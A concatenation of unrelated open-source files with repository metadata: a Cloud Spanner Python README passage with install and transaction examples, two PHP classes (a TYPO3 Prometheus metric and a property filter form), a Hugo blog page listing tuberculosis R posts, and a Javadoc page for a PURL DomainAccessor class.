dependencies and versions, and indirectly permissions.
With `virtualenv`_, it's possible to install this library without needing system
install permissions, and without clashing with the installed system
dependencies.
.. _`virtualenv`: https://virtualenv.pypa.io/en/latest/
Mac/Linux
^^^^^^^^^
.. code-block:: console
pip install virtualenv
virtualenv <your-env>
source <your-env>/bin/activate
<your-env>/bin/pip install google-cloud-datastore
Windows
^^^^^^^
.. code-block:: console
pip install virtualenv
virtualenv <your-env>
<your-env>\Scripts\activate
<your-env>\Scripts\pip.exe install google-cloud-datastore
Example Usage
-------------
Executing Arbitrary SQL in a Transaction
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Generally, to work with Cloud Spanner, you will want a transaction. The
preferred mechanism for this is to create a single function, which executes
as a callback to ``database.run_in_transaction``:
.. code:: python
# First, define the function that represents a single "unit of work"
# that should be run within the transaction.
def update_anniversary(transaction, person_id, unix_timestamp):
# The query itself is just a string.
#
# The use of @parameters is recommended rather than doing your
# own string interpolation; this provides protections against
# SQL injection attacks.
query = """SELECT anniversary FROM people
WHERE id = @person_id"""
# When executing the SQL statement, the query and parameters are sent
# as separate arguments. When using parameters, you must specify
# both the parameters themselves and their types.
row = transaction.execute_sql(
query=query,
params={'person_id': person_id},
param_types={
'person_id': types.INT64_PARAM_TYPE,
},
).one()
# Now perform an update on the data.
old_anniversary = row[0]
new_anniversary = _compute_anniversary(old_anniversary, years)
transaction.update(
'people',
['person_id', 'anniversary'],
[person_id, new_anniversary],
)
# Actually run the `update_anniversary` function in a transaction.
database.run_in_transaction(update_anniversary,
person_id=42,
unix_timestamp=1335020400,
)
Select records using a Transaction
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Once you have a transaction object (such as the first argument sent to
``run_in_transaction``), reading data is easy:
.. code:: python
# Define a SELECT query.
query = """SELECT e.first_name, e.last_name, p.telephone
FROM employees as e, phones as p
WHERE p.employee_id == e.employee_id"""
# Execute the query and return results.
result = transaction.execute_sql(query)
for row in result.rows:
print(row)
Insert records using a Transaction
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To add one or more records to a table, use ``insert``:
.. code:: python
transaction.insert(
'citizens',
columns=['email', 'first_name', 'last_name', 'age'],
values=[
['phred@exammple.com', 'Phred', 'Phlyntstone', 32],
['bharney@example.com', 'Bharney', 'Rhubble', 31],
],
)
Update records using a Transaction
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
``Transaction.update`` updates one or more existing records in a table. Fails
if any of the records does not already exist.
.. code:: python
transaction.update(
'citizens',
columns=['email', 'age'],
values=[
['phred@exammple.com', 33],
['bharney@example.com', 32],
],
)
Next Steps
~~~~~~~~~~
- See the `Client Library Documentation`_ to learn how to connect to Cloud
Spanner using this Client Library.
- Read the `Product documentation`_ to learn
more about the product and see How-to Guides.
| {
"content_hash": "5f81aa948d56e4122de0e4e278b3efdf",
"timestamp": "",
"source": "github",
"line_count": 189,
"max_line_length": 126,
"avg_line_length": 31.56084656084656,
"alnum_prop": 0.6670578373847443,
"repo_name": "tseaver/gcloud-python",
"id": "a596b827a80155b98a7948dcf45e24734d5d9e12",
"size": "5965",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "spanner/README.rst",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Batchfile",
"bytes": "3366"
},
{
"name": "PowerShell",
"bytes": "7195"
},
{
"name": "Protocol Buffer",
"bytes": "93642"
},
{
"name": "Python",
"bytes": "2874989"
},
{
"name": "Shell",
"bytes": "4436"
}
],
"symlink_target": ""
} |
<?php
namespace Mfc\Prometheus\Services\Metrics;
use Mfc\Prometheus\Domain\Repository\FeUsersRepository;
class FeUsersMetrics extends AbstractMetrics
{
protected $velocity = 'fast';
public function getVelocity()
{
return parent::getVelocity();
}
public function getMetricsValues()
{
/** @var \Mfc\Prometheus\Domain\Repository\FeUsersRepository $feUsersRepository */
$feUsersRepository = $this->objectManager->get(FeUsersRepository::class);
return $this->prepareDataToInsert($feUsersRepository->getMetricsValues());
}
} | {
"content_hash": "9a5e004851f96795d76efa4d903a550e",
"timestamp": "",
"source": "github",
"line_count": 22,
"max_line_length": 90,
"avg_line_length": 26.5,
"alnum_prop": 0.7135506003430532,
"repo_name": "marketing-factory/typo3_prometheus",
"id": "b8d05664c920f44109fc9447e95ab15da33e32cc",
"size": "583",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "Classes/Services/Metrics/FeUsersMetrics.php",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "PHP",
"bytes": "30058"
}
],
"symlink_target": ""
} |
<?php
/**
* Property filter form.
*
* @package propertyx
* @subpackage filter
* @author Daniel Londero <daniel.londero@gmail.com>
*/
class PropertyFormFilter extends BasePropertyFormFilter
{
public function configure()
{
$this->widgetSchema['municipality'] = new sfWidgetFormFilterInput(array('with_empty' => false));
$this->widgetSchema['price'] = new sfWidgetFormFilterInput(array('with_empty' => false));
unset($this->widgetSchema['slug']);
unset($this->widgetSchema['address']);
unset($this->widgetSchema['area']);
unset($this->widgetSchema['description']);
unset($this->widgetSchema['year']);
unset($this->widgetSchema['floors']);
unset($this->widgetSchema['on_floor']);
unset($this->widgetSchema['surface']);
unset($this->widgetSchema['heating']);
unset($this->widgetSchema['garden']);
unset($this->widgetSchema['balcony']);
unset($this->widgetSchema['bath']);
unset($this->widgetSchema['bedroom']);
unset($this->widgetSchema['entrance']);
unset($this->widgetSchema['kitchen_id']);
unset($this->widgetSchema['diningroom']);
unset($this->widgetSchema['livingroom']);
unset($this->widgetSchema['cellar']);
unset($this->widgetSchema['lift']);
unset($this->widgetSchema['attic']);
unset($this->widgetSchema['parking']);
unset($this->widgetSchema['is_public']);
unset($this->widgetSchema['has_priority']);
unset($this->widgetSchema['sf_asset_folder_id']);
unset($this->widgetSchema['created_at']);
unset($this->widgetSchema['updated_at']);
unset($this->validatorSchema['slug']);
unset($this->validatorSchema['address']);
unset($this->validatorSchema['area']);
unset($this->validatorSchema['description']);
unset($this->validatorSchema['floors']);
unset($this->validatorSchema['on_floor']);
unset($this->validatorSchema['surface']);
unset($this->validatorSchema['heating']);
unset($this->validatorSchema['garden']);
unset($this->validatorSchema['balcony']);
unset($this->validatorSchema['bath']);
unset($this->validatorSchema['bedroom']);
unset($this->validatorSchema['entrance']);
unset($this->validatorSchema['kitchen_id']);
unset($this->validatorSchema['diningroom']);
unset($this->validatorSchema['livingroom']);
unset($this->validatorSchema['cellar']);
unset($this->validatorSchema['lift']);
unset($this->validatorSchema['attic']);
unset($this->validatorSchema['parking']);
unset($this->validatorSchema['is_public']);
unset($this->validatorSchema['has_priority']);
unset($this->validatorSchema['sf_asset_folder_id']);
unset($this->validatorSchema['created_at']);
unset($this->validatorSchema['updated_at']);
}
}
| {
"content_hash": "4412289024012140b2a943f24664068c",
"timestamp": "",
"source": "github",
"line_count": 71,
"max_line_length": 99,
"avg_line_length": 38.098591549295776,
"alnum_prop": 0.677634011090573,
"repo_name": "rew-by/propertyx",
"id": "2b393c1f7431877ae88b8d0fd27ccd3c9d7ece7e",
"size": "2943",
"binary": false,
"copies": "3",
"ref": "refs/heads/master",
"path": "lib/filter/PropertyFormFilter.class.php",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "ApacheConf",
"bytes": "623"
},
{
"name": "CSS",
"bytes": "42090"
},
{
"name": "HTML",
"bytes": "30"
},
{
"name": "JavaScript",
"bytes": "271678"
},
{
"name": "PHP",
"bytes": "1779109"
}
],
"symlink_target": ""
} |
<!DOCTYPE html>
<html lang="en-uk">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="theme" content="hugo-academic">
<meta name="generator" content="Hugo 0.56.3" />
<meta name="author" content="Sam Abbott">
<meta name="description" content="">
<link rel="alternate" hreflang="en-uk" href="http://www.samabbott.co.uk/categories/r/">
<meta name="theme-color" content="#0095eb">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.12.0/styles/dracula.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha512-6MXa8B6uaO18Hid6blRMetEIoPqHf7Ux1tnyIQdpt9qI5OACx7C+O3IVTr98vwGnlcg0LOLa02i9Y1HpVhlfiw==" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/academicons/1.8.1/css/academicons.min.css" integrity="sha512-NThgw3XKQ1absAahW6to7Ey42uycrVvfNfyjqcFNgCmOCQ5AR4AO0SiXrN+8ZtYeappp56lk1WtvjVmEa+VR6A==" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" integrity="sha512-SfTiTlX6kk+qitfevl/7LibUOeJWlt9rbyDn92a1DqWOw9vWG2MFoays0sgObmWazO5BQPiFucnnEAjpAB+/Sw==" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.2.5/jquery.fancybox.min.css" integrity="sha256-ygkqlh3CYSUri3LhQxzdcm0n1EQvH2Y+U5S2idbLtxs=" crossorigin="anonymous">
<link rel="stylesheet" href="//fonts.googleapis.com/css?family=Montserrat:400,700%7cRoboto:400,400italic,700%7cRoboto+Mono">
<link rel="stylesheet" href="../../../../styles.css">
<script>
window.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};ga.l=+new Date;
ga('create', 'UA-85604924-1', 'auto');
ga('require', 'eventTracker');
ga('require', 'outboundLinkTracker');
ga('require', 'urlChangeTracker');
ga('send', 'pageview');
</script>
<script async src="//www.google-analytics.com/analytics.js"></script>
<script async src="https://cdnjs.cloudflare.com/ajax/libs/autotrack/2.4.1/autotrack.js" integrity="sha512-HUmooslVKj4m6OBu0OgzjXXr+QuFYy/k7eLI5jdeEy/F4RSgMn6XRWRGkFi5IFaFgy7uFTkegp3Z0XnJf3Jq+g==" crossorigin="anonymous"></script>
<link rel="alternate" href="http://www.samabbott.co.uk/categories/r/index.xml" type="application/rss+xml" title="Sam Abbott">
<link rel="feed" href="http://www.samabbott.co.uk/categories/r/index.xml" type="application/rss+xml" title="Sam Abbott">
<link rel="manifest" href="../../../../site.webmanifest">
<link rel="icon" type="image/png" href="../../../../img/icon.png">
<link rel="apple-touch-icon" type="image/png" href="../../../../img/icon-192.png">
<link rel="canonical" href="http://www.samabbott.co.uk/categories/r/">
<meta property="twitter:card" content="summary_large_image">
<meta property="twitter:site" content="@seabbs">
<meta property="twitter:creator" content="@seabbs">
<meta property="og:site_name" content="Sam Abbott">
<meta property="og:url" content="http://www.samabbott.co.uk/categories/r/">
<meta property="og:title" content="R | Sam Abbott">
<meta property="og:description" content="">
<meta property="og:locale" content="en-uk">
<meta property="og:updated_time" content="2019-09-03T00:00:00+00:00">
<!DOCTYPE html>
<title>R - Sam Abbott</title>
<meta property="og:title" content="R - Sam Abbott">
<meta property="og:type" content="article">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://raw.githubusercontent.com/seabbs/seabbs.github.io/sources/static/img/logo.png" >
<meta property="description" content="Article posted by %!s(<nil>), on Tuesday, September 3nd, 2019">
<meta property="og:description" content="Article posted by %!s(<nil>), on Tuesday, September 3nd, 2019">
<meta name="twitter:creator" content="">
<meta name="twitter:site" content="">
<title>R | Sam Abbott</title>
</head>
<body id="top" data-spy="scroll" data-target="#toc" data-offset="71" >
<nav class="navbar navbar-default navbar-fixed-top" id="navbar-main">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse"
data-target=".navbar-collapse" aria-expanded="false">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="../../../../"><img src="../../../../img/logo.png" alt="Sam Abbott"></a>
</div>
<div class="collapse navbar-collapse">
<ul class="nav navbar-nav navbar-right">
<li class="nav-item">
<a href="../../../../#about">
<span>Home</span>
</a>
</li>
<li class="nav-item">
<a href="../../../../#tags">
<span>Tags</span>
</a>
</li>
<li class="nav-item">
<a href="../../../../#publications">
<span>Publications</span>
</a>
</li>
<li class="nav-item">
<a href="../../../../#talks">
<span>Talks</span>
</a>
</li>
<li class="nav-item">
<a href="../../../../#teaching">
<span>Teaching</span>
</a>
</li>
<li class="nav-item">
<a href="../../../../#posts">
<span>Posts</span>
</a>
</li>
<li class="nav-item">
<a href="../../../../#projects">
<span>Projects</span>
</a>
</li>
<li class="nav-item">
<a href="../../../../cv/cv.pdf">
<span>CV</span>
</a>
</li>
</ul>
</div>
</div>
</nav>
<div class="universal-wrapper">
<h1>R</h1>
<div>
<h2><a href="http://www.samabbott.co.uk/post/est-cfr-gettbinr/">Exploring Estimates of the Tuberculosis Case Fatality Ratio - with getTBinR</a></h2>
<div class="article-style">
This is a quick post exploring estimates of the case fatality ratio for Tuberculosis (TB) from data published by the World Health Organisation (WHO). It makes use of getTBinR (which is now on CRAN), pacman for package management, hrbrthemes for plot themes, and pathwork for combining multiple plots into a storyboard. For an introduction to using getTBinR to explore the WHO TB data see this post.
It is estimated that in 2016 there was more than 10 million cases of active TB, with 1.
</div>
</div>
<div>
<h2><a href="http://www.samabbott.co.uk/post/intro-gettbinr/">Exploring Global Trends in Tuberculosis Incidence Rates - with GetTBinR</a></h2>
<div class="article-style">
In November I attended Epidemics, which is a conference focused on modelling infectious diseases. There was a lot of great work and perhaps most excitingly a lot of work being offered as R packages.
I’ve recently begun wrapping all my analytical work in R packages, as it makes producing reproducible research a breeze! Unfortunately all of this work is still making it’s way towards publication and for a variety of reasons can’t be shared until it has passed this hurdle.
</div>
</div>
<div>
<h2><a href="http://www.samabbott.co.uk/post/tb-england-wales/">Tuberculosis Incidence and Interventions in England and Wales, 1913-2016</a></h2>
<div class="article-style">
This interactive dashboard uses data on Tuberculosis incidence from 1913-1916 released by Public Health England and combines it with data on the interventions against Tuberculosis that have been discovered/implemented over the last century. The data was cleaned and imported into R using the tbinenglanddataclean R package, which also contains information on how to apply for additional data, scripts to clean data extracts and graphing functions to visualise them. The dashboard is a work in progress and additional interventions, new figures and increased interactivity will be added over time.
</div>
</div>
<nav>
<ul class="pager">
<li><a href="../../../../categories/r/"><</a></li>
</ul>
</nav>
</div>
<footer class="site-footer">
<div class="container">
<p class="powered-by">
© 2017-2019 Sam Abbott ·
Powered by the <a href="https://github.com/gcushen/hugo-academic" target="_blank">Academic
theme</a> for <a href="http://gohugo.io" target="_blank">Hugo</a> ·
<span class="pull-right" aria-hidden="true">
<a href="#" id="back_to_top">
<span class="button_icon">
<i class="fa fa-chevron-up fa-2x"></i>
</span>
</a>
</span>
</p>
</div>
</footer>
<script id="dsq-count-scr" src="//samabbott-co-uk.disqus.com/count.js" async></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js" integrity="sha512-3P8rXCuGJdNZOnUx/03c1jOTnMn3rP63nBip5gOP2qmUh5YAdVAvFZ1E+QLZZbC1rtMrQb+mah3AfYW11RUrWA==" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.imagesloaded/4.1.3/imagesloaded.pkgd.min.js" integrity="sha512-umsR78NN0D23AzgoZ11K7raBD+R6hqKojyBZs1w8WvYlsI+QuKRGBx3LFCwhatzBunCjDuJpDHwxD13sLMbpRA==" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha512-iztkobsvnjKfAtTNdHkGVjAYTrrtlC7mGp/54c40wowO7LhURYl3gVzzcEqGl/qKXQltJ2HwMrdLcNUdo+N/RQ==" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.isotope/3.0.4/isotope.pkgd.min.js" integrity="sha512-VDBOIlDbuC4VWxGJNmuFRQ0Li0SKkDpmGyuhAG5LTDLd/dJ/S0WMVxriR2Y+CyPL5gzjpN4f/6iqWVBJlht0tQ==" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.2.5/jquery.fancybox.min.js" integrity="sha256-X5PoE3KU5l+JcX+w09p/wHl9AzK333C4hJ2I9S5mD4M=" crossorigin="anonymous"></script>
<script src="../../../../js/hugo-academic.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.12.0/highlight.min.js" integrity="sha256-/BfiIkHlHoVihZdc6TFuj7MmJ0TWcWsMXkeDFwhi0zw=" crossorigin="anonymous"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.12.0/languages/bash.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.12.0/languages/cs.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.12.0/languages/http.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.12.0/languages/javascript.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.12.0/languages/json.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.12.0/languages/markdown.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.12.0/languages/r.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.12.0/languages/xml.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.12.0/languages/yaml.min.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
<script type="text/x-mathjax-config">
MathJax.Hub.Config({ tex2jax: { inlineMath: [['$','$'], ['\\(','\\)']] } });
</script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS_CHTML" integrity="sha512-tOav5w1OjvsSJzePRtt2uQPFwBoHt1VZcUq8l8nm5284LEKE9FSJBQryzMBzHxY5P0zRdNqEcpLIRVYFNgu1jw==" crossorigin="anonymous"></script>
</body>
</html>
| {
"content_hash": "146693a3dc98fb316e03bce1e51b7319",
"timestamp": "",
"source": "github",
"line_count": 446,
"max_line_length": 602,
"avg_line_length": 29.50896860986547,
"alnum_prop": 0.6066408327634678,
"repo_name": "clapping-bunny/clapping-bunny.github.io",
"id": "6a23a55519dbfc38e58829708413a95953430077",
"size": "13169",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "categories/r/page/2/index.html",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "11066"
},
{
"name": "HTML",
"bytes": "98660"
},
{
"name": "Ruby",
"bytes": "4604"
},
{
"name": "TeX",
"bytes": "1"
}
],
"symlink_target": ""
} |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.5.0_13) on Tue Dec 18 21:43:38 EST 2007 -->
<TITLE>
DomainAccessor.DomainCreator
</TITLE>
<META NAME="keywords" CONTENT="org.purl.accessor.DomainAccessor.DomainCreator class">
<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
parent.document.title="DomainAccessor.DomainCreator";
}
</SCRIPT>
<NOSCRIPT>
</NOSCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<!-- ========= START OF TOP NAVBAR ======= -->
<A NAME="navbar_top"><!-- --></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../org/purl/accessor/DomainAccessor.html" title="class in org.purl.accessor"><B>PREV CLASS</B></A>
<A HREF="../../../org/purl/accessor/DomainAccessor.DomainPrivateDataFilter.html" title="class in org.purl.accessor"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../index.html?org/purl/accessor/DomainAccessor.DomainCreator.html" target="_top"><B>FRAMES</B></A>
<A HREF="DomainAccessor.DomainCreator.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: NESTED | FIELD | <A HREF="#constructor_summary">CONSTR</A> | <A HREF="#method_summary">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: FIELD | <A HREF="#constructor_detail">CONSTR</A> | <A HREF="#method_detail">METHOD</A></FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<!-- ========= END OF TOP NAVBAR ========= -->
<HR>
<!-- ======== START OF CLASS DATA ======== -->
<H2>
<FONT SIZE="-1">
org.purl.accessor</FONT>
<BR>
Class DomainAccessor.DomainCreator</H2>
<PRE>
java.lang.Object
<IMG SRC="../../../resources/inherit.gif" ALT="extended by "><B>org.purl.accessor.DomainAccessor.DomainCreator</B>
</PRE>
<DL>
<DT><B>All Implemented Interfaces:</B> <DD><A HREF="../../../org/purl/accessor/util/ResourceCreator.html" title="interface in org.purl.accessor.util">ResourceCreator</A></DD>
</DL>
<DL>
<DT><B>Enclosing class:</B><DD><A HREF="../../../org/purl/accessor/DomainAccessor.html" title="class in org.purl.accessor">DomainAccessor</A></DD>
</DL>
<HR>
<DL>
<DT><PRE>public static class <B>DomainAccessor.DomainCreator</B><DT>extends java.lang.Object<DT>implements <A HREF="../../../org/purl/accessor/util/ResourceCreator.html" title="interface in org.purl.accessor.util">ResourceCreator</A></DL>
</PRE>
<P>
<HR>
<P>
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<A NAME="constructor_summary"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2">
<B>Constructor Summary</B></FONT></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE><B><A HREF="../../../org/purl/accessor/DomainAccessor.DomainCreator.html#DomainAccessor.DomainCreator(org.purl.accessor.util.URIResolver, org.purl.accessor.util.ResourceStorage)">DomainAccessor.DomainCreator</A></B>(<A HREF="../../../org/purl/accessor/util/URIResolver.html" title="class in org.purl.accessor.util">URIResolver</A> userResolver,
<A HREF="../../../org/purl/accessor/util/ResourceStorage.html" title="interface in org.purl.accessor.util">ResourceStorage</A> userStorage)</CODE>
<BR>
</TD>
</TR>
</TABLE>
<!-- ========== METHOD SUMMARY =========== -->
<A NAME="method_summary"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2">
<B>Method Summary</B></FONT></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> <A HREF="../../../com/ten60/netkernel/urii/IURAspect.html" title="interface in com.ten60.netkernel.urii">IURAspect</A></CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/purl/accessor/DomainAccessor.DomainCreator.html#createResource(INKFConvenienceHelper, IAspectNVP)">createResource</A></B>(INKFConvenienceHelper context,
IAspectNVP params)</CODE>
<BR>
</TD>
</TR>
</TABLE>
<A NAME="methods_inherited_from_class_java.lang.Object"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor">
<TH ALIGN="left"><B>Methods inherited from class java.lang.Object</B></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</CODE></TD>
</TR>
</TABLE>
<P>
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<A NAME="constructor_detail"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="1"><FONT SIZE="+2">
<B>Constructor Detail</B></FONT></TH>
</TR>
</TABLE>
<A NAME="DomainAccessor.DomainCreator(org.purl.accessor.util.URIResolver, org.purl.accessor.util.ResourceStorage)"><!-- --></A><H3>
DomainAccessor.DomainCreator</H3>
<PRE>
public <B>DomainAccessor.DomainCreator</B>(<A HREF="../../../org/purl/accessor/util/URIResolver.html" title="class in org.purl.accessor.util">URIResolver</A> userResolver,
<A HREF="../../../org/purl/accessor/util/ResourceStorage.html" title="interface in org.purl.accessor.util">ResourceStorage</A> userStorage)</PRE>
<DL>
</DL>
<!-- ============ METHOD DETAIL ========== -->
<A NAME="method_detail"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="1"><FONT SIZE="+2">
<B>Method Detail</B></FONT></TH>
</TR>
</TABLE>
<A NAME="createResource(INKFConvenienceHelper, IAspectNVP)"><!-- --></A><H3>
createResource</H3>
<PRE>
public <A HREF="../../../com/ten60/netkernel/urii/IURAspect.html" title="interface in com.ten60.netkernel.urii">IURAspect</A> <B>createResource</B>(INKFConvenienceHelper context,
IAspectNVP params)
throws NKFException</PRE>
<DL>
<DD><DL>
<DT><B>Specified by:</B><DD><CODE><A HREF="../../../org/purl/accessor/util/ResourceCreator.html#createResource(INKFConvenienceHelper, IAspectNVP)">createResource</A></CODE> in interface <CODE><A HREF="../../../org/purl/accessor/util/ResourceCreator.html" title="interface in org.purl.accessor.util">ResourceCreator</A></CODE></DL>
</DD>
<DD><DL>
<DT><B>Throws:</B>
<DD><CODE>NKFException</CODE></DL>
</DD>
</DL>
<!-- ========= END OF CLASS DATA ========= -->
<HR>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<A NAME="navbar_bottom"><!-- --></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
